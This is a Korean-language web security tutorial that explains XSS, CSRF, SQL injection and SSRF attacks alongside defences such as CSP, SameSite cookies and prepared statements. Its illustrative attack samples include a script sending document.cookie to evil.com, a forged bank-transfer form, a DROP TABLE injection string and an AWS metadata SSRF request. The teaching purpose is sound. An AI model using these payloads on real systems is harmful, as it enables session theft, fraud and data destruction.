웹 보안 — XSS, CSRF, SQL Injection 방어 전략
XSS, CSRF, SQL Injection — 각각 공격 원리가 다르고, 방어 전략도 다릅니다. 공격이 왜 가능한지를 이해하면 방어가 자연스럽게 따라옵니다.
OWASP Top 10을 축으로 잡고, 각 취약점의 공격 원리와 구체적인 방어 기법(CSP, SameSite, Prepared Statement)을 정리합니다.
OWASP Top 10 2021 — 주요 취약점 개요
OWASP(Open Web Application Security Project)가 3~4년마다 발표하는 웹 애플리케이션 보안 위협 순위입니다. 2021 버전 기준으로:
| 순위 | 항목 | 핵심 |
|---|---|---|
| A01 | Broken Access Control | 권한 없는 리소스 접근 |
| A02 | Cryptographic Failures | 암호화 미흡, 평문 전송 |
| A03 | Injection | SQL, NoSQL, OS 명령어 주입 |
| A04 | Insecure Design | 설계 단계부터의 보안 결함 |
| A05 | Security Misconfiguration | 기본 설정 방치, 불필요한 기능 활성화 |
| A06 | Vulnerable Components | 취약한 라이브러리/프레임워크 사용 |
| A07 | Authentication Failures | 인증 메커니즘 취약 |
| A08 | Software and Data Integrity Failures | CI/CD 파이프라인, 무결성 미검증 |
| A09 | Security Logging Failures | 로깅/모니터링 부재 |
| A10 | SSRF | 서버 측 요청 위조 |
2017 버전에서는 XSS가 별도 항목이었는데, 2021에서는 A03 Injection에 통합됐습니다. 하지만 여전히 개별적으로 이해해야 할 부분이니 따로 알아두는 게 좋습니다.
XSS (Cross-Site Scripting)
공격자가 웹 페이지에 ** 악성 스크립트를 삽입 **해서, 다른 사용자의 브라우저에서 실행되게 만드는 공격입니다. 이름에 "Cross-Site"가 들어가지만 핵심은 스크립트 주입입니다.
종류
Stored XSS (저장형)
악성 스크립트가 서버 DB에 저장됩니다. 게시판 글, 댓글, 프로필 이름 같은 데 넣으면 해당 페이지를 보는 모든 사용자에게 영향을 줍니다.
<!-- 공격자가 게시글에 작성 -->
<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>
피해자가 그 게시글을 열면 쿠키가 공격자 서버로 날아갑니다. 가장 위험한 유형입니다.
Reflected XSS (반사형)
서버가 요청 파라미터를 그대로 응답에 포함시킬 때 발생합니다. URL에 스크립트를 심어서 피해자가 클릭하게 유도합니다.
https://example.com/search?q=<script>alert('XSS')</script>
서버가 검색 결과: <script>alert('XSS')</script>를 그대로 렌더링하면 터집니다.
DOM-based XSS
서버를 거치지 않고, 클라이언트 측 자바스크립트가 DOM을 조작하면서 발생합니다.
// URL: https://example.com/page#<img src=x onerror=alert('XSS')>
const hash = location.hash.substring(1);
document.getElementById('content').innerHTML = hash; // 위험!
innerHTML로 사용자 입력을 직접 넣으면 안 됩니다.
방어
** 출력 이스케이핑**
HTML 컨텍스트에서 <, >, ", ', &를 이스케이프 처리합니다. 대부분의 템플릿 엔진(Thymeleaf, React JSX, Jinja2 등)이 자동으로 해주지만, dangerouslySetInnerHTML이나 v-html 같은 걸 쓰면 무력화됩니다.
// React — 기본적으로 안전
<p>{userInput}</p> // 자동 이스케이핑
// 이러면 위험
<div dangerouslySetInnerHTML={{ __html: userInput }} />
CSP (Content Security Policy)
뒤에서 자세히 다루겠지만, script-src 'self'를 설정하면 외부 스크립트 실행을 차단할 수 있습니다.
HttpOnly 쿠키
document.cookie로 접근 자체가 불가능하게 만듭니다. XSS가 뚫려도 쿠키 탈취는 막을 수 있습니다.
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
HttpOnly는 스크립트 접근 차단, Secure는 HTTPS 전용, SameSite는 CSRF 방어까지 겸합니다.
CSRF (Cross-Site Request Forgery)
사용자가 로그인된 상태에서, 공격자가 만든 페이지를 방문하면 ** 사용자 모르게 요청이 전송 **되는 공격입니다. 브라우저가 쿠키를 자동으로 포함시키니까 가능한 겁니다.
공격 시나리오
<!-- 공격자의 사이트 evil.com -->
<img src="https://bank.com/transfer?to=attacker&amount=1000000" />
피해자가 bank.com에 로그인된 상태로 evil.com에 접속하면, 브라우저가 bank.com의 세션 쿠키를 자동으로 붙여서 요청을 보냅니다. 서버 입장에서는 정상적인 인증된 요청처럼 보입니다.
<img> 태그라 GET 요청만 되지 않냐고요? <form>에 hidden field 넣고 자동 submit하면 POST도 가능합니다.
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker" />
<input type="hidden" name="amount" value="1000000" />
</form>
<script>document.forms[0].submit();</script>
방어
CSRF Token
서버가 폼을 렌더링할 때 ** 랜덤 토큰 **을 함께 내려줍니다. 요청 시 이 토큰이 없거나 틀리면 거부합니다. 공격자는 이 토큰 값을 모르니까 위조 요청에 포함시킬 수 없습니다.
<form action="/transfer" method="POST">
<input type="hidden" name="_csrf" value="a1b2c3d4..." />
<!-- 나머지 필드 -->
</form>
Spring Security는 기본적으로 CSRF 토큰을 활성화합니다.
SameSite Cookie
쿠키에 SameSite 속성을 설정하면 크로스 사이트 요청에 쿠키가 붙지 않습니다.
Strict: 다른 사이트에서 오는 요청에는 절대 쿠키를 안 보냄Lax: GET 같은 안전한 요청에는 보내지만, POST에는 안 보냄 (대부분의 브라우저 기본값)None: 항상 보냄 (반드시Secure와 함께 써야 함)
Lax만 해도 CSRF 대부분을 막아줍니다. POST 폼 위조가 안 먹히니까요.
Origin / Referer 헤더 검증
서버에서 요청의 Origin이나 Referer 헤더를 확인해서, 자기 도메인에서 온 게 맞는지 검사합니다. 보조 수단으로 쓰기 좋습니다.
SQL Injection
사용자 입력이 SQL 쿼리에 직접 삽입되면서, 공격자가 ** 의도하지 않은 SQL을 실행 **시키는 공격입니다. OWASP에서 오랫동안 상위권을 유지하고 있고, 실제 사고도 많습니다.
공격 예시
// 취약한 코드
String query = "SELECT * FROM users WHERE id = '" + userId + "'";
userId에 ' OR '1'='1을 넣으면:
SELECT * FROM users WHERE id = '' OR '1'='1'
전체 사용자 데이터가 조회됩니다. 더 나아가면 '; DROP TABLE users; -- 같은 것도 가능합니다.
실제로 어떤 피해가 발생하나
- 데이터 유출 (회원 정보, 결제 정보)
- 데이터 삭제/변조
- 관리자 권한 탈취
- 서버 OS 명령어 실행 (DB 종류에 따라)
방어
Prepared Statement (파라미터 바인딩)
가장 확실한 방어 수단입니다. 쿼리 구조와 데이터를 분리합니다.
// 안전한 코드
PreparedStatement stmt = conn.prepareStatement(
"SELECT * FROM users WHERE id = ?"
);
stmt.setString(1, userId);
? 자리에 들어가는 값은 순수한 데이터로 취급되기 때문에, SQL 구문으로 해석되지 않습니다. 어떤 값을 넣어도 쿼리 구조가 바뀌지 않습니다.
ORM 사용
JPA, MyBatis, Hibernate 같은 ORM을 쓰면 대부분 파라미터 바인딩이 자동 적용됩니다. 다만 네이티브 쿼리를 직접 작성할 때는 주의해야 합니다.
// JPA — 안전
@Query("SELECT u FROM User u WHERE u.email = :email")
User findByEmail(@Param("email") String email);
// 이러면 위험 (문자열 연결)
@Query("SELECT u FROM User u WHERE u.email = '" + email + "'")
** 입력 검증**
숫자만 받아야 하면 숫자인지 검증하고, 화이트리스트 방식으로 허용되는 문자만 통과시킵니다. 블랙리스트(특수문자 차단)는 우회 가능하니까 보조 수단 정도입니다.
SSRF (Server-Side Request Forgery)
공격자가 ** 서버를 속여서 내부 네트워크로 요청 **을 보내게 만드는 공격입니다. 2021년에 OWASP Top 10에 신규 진입한 만큼 중요도가 높아진 주제입니다.
어떻게 동작하나
서버가 사용자 입력 URL을 받아서 데이터를 가져오는 기능이 있다고 가정합니다. 프로필 이미지 URL 입력, 웹훅 URL 등록 같은 기능이 대표적입니다.
POST /api/fetch-url
{ "url": "http://169.254.169.254/latest/meta-data/" }
AWS EC2의 메타데이터 엔드포인트입니다. 여기서 IAM 크레덴셜을 빼갈 수 있습니다. 2019년 Capital One 해킹 사건이 정확히 이 패턴이었습니다.
내부망의 다른 서비스(http://localhost:8080/admin, http://192.168.1.10/internal-api)에도 접근할 수 있습니다.
방어
URL 화이트리스트
허용된 도메인/IP만 접근하도록 제한합니다. "이 서비스에서 외부 요청이 꼭 필요한 곳"만 열어두는 게 원칙입니다.
URL 검증
- 사설 IP 대역(
10.x,172.16~31.x,192.168.x) 차단 localhost,127.0.0.1,0.0.0.0차단- DNS Rebinding 방어를 위해 resolve 후 IP 재검증
import ipaddress
def is_safe_url(url):
ip = socket.gethostbyname(parsed_url.hostname)
addr = ipaddress.ip_address(ip)
if addr.is_private or addr.is_loopback or addr.is_link_local:
return False
return True
** 네트워크 레벨 차단**
클라우드 환경이라면 메타데이터 엔드포인트 접근을 IAM 정책이나 방화벽으로 차단합니다. AWS의 경우 IMDSv2를 사용하면 토큰 기반 접근이 되어 SSRF로 직접 접근하기 어려워집니다.
CSP (Content Security Policy)
XSS 방어의 핵심 무기입니다. 브라우저에게 ** 어떤 리소스를 로드해도 되는지** 정책을 알려주는 HTTP 응답 헤더입니다.
기본 설정
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'
default-src 'self': 기본적으로 같은 출처만 허용script-src 'self': 스크립트는 같은 출처만style-src 'self' 'unsafe-inline': 스타일은 인라인도 허용
이 설정이면 <script>alert('XSS')</script>가 삽입되어도 인라인 스크립트 실행이 차단됩니다.
nonce 방식
인라인 스크립트를 써야 하는 상황이라면, 매 요청마다 서버에서 랜덤 nonce를 생성해서 허용합니다.
Content-Security-Policy: script-src 'nonce-abc123'
<!-- 이건 실행됨 -->
<script nonce="abc123">console.log('정상')</script>
<!-- 이건 차단됨 (nonce 없음) -->
<script>alert('XSS')</script>
nonce는 요청마다 바뀌어야 합니다. 고정값이면 의미가 없습니다.
strict-dynamic
서드파티 라이브러리가 동적으로 스크립트를 로드하는 경우, strict-dynamic을 쓰면 ** 신뢰된 스크립트가 로드한 스크립트도 허용 **합니다. nonce가 붙은 스크립트가 document.createElement('script')로 추가한 스크립트까지 신뢰하는 방식입니다.
Content-Security-Policy: script-src 'nonce-abc123' 'strict-dynamic'
Google이 권장하는 CSP 정책이 바로 이 nonce + strict-dynamic 조합입니다.
CORS 심화 — 보안과의 관계
Same-Origin Policy(SOP)는 브라우저가 다른 출처의 리소스 접근을 막는 보안 정책이고, CORS는 이걸 ** 제어된 방식으로 완화 **하는 메커니즘입니다.
단순 요청 (Simple Request)
아래 조건을 ** 모두** 만족하면 Preflight 없이 바로 요청이 갑니다:
- 메서드:
GET,HEAD,POST중 하나 - 헤더:
Accept,Accept-Language,Content-Language,Content-Type정도만 Content-Type:application/x-www-form-urlencoded,multipart/form-data,text/plain중 하나
Preflight 요청
단순 요청 조건을 벗어나면 브라우저가 먼저 OPTIONS 메서드로 ** 사전 요청 **을 보냅니다.
OPTIONS /api/data HTTP/1.1
Origin: https://frontend.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Authorization, Content-Type
서버 응답:
Access-Control-Allow-Origin: https://frontend.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: Authorization, Content-Type
Access-Control-Max-Age: 3600
보안 관점에서의 CORS
CORS 자체가 보안을 제공하는 건 아닙니다. 오히려 SOP라는 보안 장벽에 ** 구멍을 뚫어주는** 겁니다.
주의해야 할 설정:
# 절대 하면 안 되는 것
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
이 둘을 동시에 쓰면 브라우저가 거부하긴 하지만, Allow-Origin: *만으로도 공개 API가 아닌 이상 위험합니다. 허용할 출처를 명시적으로 지정해야 합니다.
credentials: true를 쓸 때는 와일드카드가 아니라 특정 도메인 을 지정해야 합니다.
인증/인가 취약점
OWASP A01(Broken Access Control)과 A07(Authentication Failures)에 해당하는 부분입니다.
Broken Authentication
- **약한 비밀번호 정책 **: 사용자가
1234를 비밀번호로 설정할 수 있으면 안 됩니다 - ** 세션 고정 공격(Session Fixation)**: 공격자가 세션 ID를 미리 심어두고, 사용자가 로그인하면 그 세션을 탈취
- ** 무차별 대입(Brute Force)**: 로그인 시도 제한이 없으면 비밀번호를 계속 시도
방어: 로그인 시 세션 ID 재생성, 로그인 시도 횟수 제한, MFA 도입
권한 상승 (Privilege Escalation)
** 수평적 권한 상승 **: 같은 권한의 다른 사용자 데이터에 접근
GET /api/users/123/profile → 내 프로필
GET /api/users/456/profile → 남의 프로필 (ID만 바꿈)
서버에서 "이 사용자가 이 리소스에 접근할 권한이 있는가"를 반드시 검증해야 합니다. URL의 ID를 바꾸는 것만으로 다른 사용자의 데이터가 보이면 IDOR(Insecure Direct Object Reference) 취약점입니다.
** 수직적 권한 상승 **: 일반 사용자가 관리자 기능에 접근
GET /admin/dashboard → 프론트에서 버튼을 숨겨도 URL 직접 입력하면 접근 가능
프론트엔드에서 UI를 숨기는 건 보안이 아닙니다. 서버 측에서 권한 검증은 필수입니다.
HTTPS 필수
Mixed Content
HTTPS 페이지에서 HTTP 리소스를 로드하는 걸 Mixed Content라고 합니다.
- Active Mixed Content (스크립트, iframe): 브라우저가 ** 차단**
- Passive Mixed Content (이미지, 미디어): 경고만 표시 (최신 브라우저는 이것도 차단 추세)
<!-- HTTPS 페이지에서 이러면 문제 -->
<script src="http://cdn.example.com/lib.js"></script>
HSTS (HTTP Strict Transport Security)
브라우저에게 "이 사이트는 앞으로 HTTPS로만 접속해"라고 알려주는 헤더입니다.
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
max-age: 이 기간 동안 HTTP → HTTPS 자동 리다이렉트includeSubDomains: 하위 도메인도 포함preload: 브라우저에 미리 등록 (HSTS Preload List)
첫 접속 시 HTTP로 접근하면 302 리다이렉트가 발생하는데, 이 순간이 취약합니다. preload를 등록하면 브라우저가 처음부터 HTTPS로 접속합니다.
보안 헤더 모음
응답 헤더 하나로 설정할 수 있는 보안 강화 옵션들입니다. 비용 대비 효과가 좋으니까 기본으로 넣어두는 게 맞습니다.
X-Frame-Options
X-Frame-Options: DENY
이 페이지가 <iframe>으로 임베드되는 걸 막습니다. Clickjacking 방어용입니다. CSP의 frame-ancestors 'none'이 더 유연한 대안입니다.
X-Content-Type-Options
X-Content-Type-Options: nosniff
브라우저의 MIME 타입 스니핑을 비활성화합니다. 서버가 text/plain으로 보낸 파일을 브라우저가 임의로 text/html로 해석해서 스크립트가 실행되는 걸 막습니다.
Referrer-Policy
Referrer-Policy: strict-origin-when-cross-origin
다른 사이트로 이동할 때 Referer 헤더에 어디까지 포함할지 결정합니다. no-referrer로 하면 아예 안 보내고, strict-origin-when-cross-origin이면 크로스 오리진에서는 오리진만 보냅니다.
민감한 URL 파라미터(토큰, 세션 ID)가 Referer를 통해 외부로 노출되는 걸 방지합니다.
심화 개념
"JWT가 탈취되면 어떻게 대응하나요?"
JWT는 서버에 상태가 없어서, 한번 발급되면 만료될 때까지 유효합니다. 탈취되면 막을 수가 없습니다 — stateless의 근본적 한계입니다.
대응 전략:
- **Access Token 만료 시간을 짧게 **: 5~15분 정도로 설정
- Refresh Token Rotation: Refresh Token을 한 번 쓰면 폐기하고 새 걸 발급. 이전 토큰이 재사용되면 탈취로 간주하고 전체 세션을 무효화
- ** 서버 측 블랙리스트 **: Redis에 폐기된 토큰을 저장. stateless의 장점을 일부 포기하는 거지만, 로그아웃 같은 즉시 무효화가 필요한 경우에는 이 방법밖에 없습니다
"Brute Force 공격은 어떻게 막나요?"
Rate Limiting 이 핵심입니다.
- IP 기반: 같은 IP에서 1분에 10회 초과 로그인 시도 시 차단
- 계정 기반: 같은 계정에 5회 연속 실패 시 잠금
- CAPTCHA: 일정 횟수 실패 후 CAPTCHA 요구
- 지수 백오프: 실패할 때마다 대기 시간 증가 (1초 → 2초 → 4초 → ...)
Spring에서는 Bucket4j, Guava RateLimiter 같은 라이브러리를 쓸 수 있고, API Gateway 레벨에서 처리하는 것도 방법입니다.
"비밀번호는 어떻게 저장해야 하나요?"
절대 평문으로 저장하면 안 됩니다. SHA-256 같은 일반 해시도 부족합니다. Rainbow Table 공격에 취약하거든요.
- bcrypt: 의도적으로 느린 해시 함수. salt를 자동 생성하고, cost factor로 연산 비용을 조절할 수 있음
- argon2: 2015년 Password Hashing Competition 우승. 메모리 사용량까지 조절 가능해서 GPU 공격에 강함
- scrypt: 메모리 의존적 해시. argon2가 나오기 전까지 bcrypt의 대안
// Spring Security — bcrypt 사용
PasswordEncoder encoder = new BCryptPasswordEncoder(12); // cost factor 12
String hashed = encoder.encode("password123");
boolean matches = encoder.matches("password123", hashed);
핵심은 salt + 느린 해시 입니다. 공격자가 한 번 해시하는 데 오래 걸리게 만들어야 합니다.
파생되는 개념들
- HTTP/HTTPS — HTTP 버전별 차이와 TLS 동작 원리
- Spring Security — 스프링의 인증/인가 프레임워크
- OAuth 2.0 — 소셜 로그인과 권한 위임
- ** 암호학 기초** — 대칭키/비대칭키, 해시 함수, 디지털 서명
- Zero Trust Architecture — 네트워크 경계가 아닌 요청 단위 검증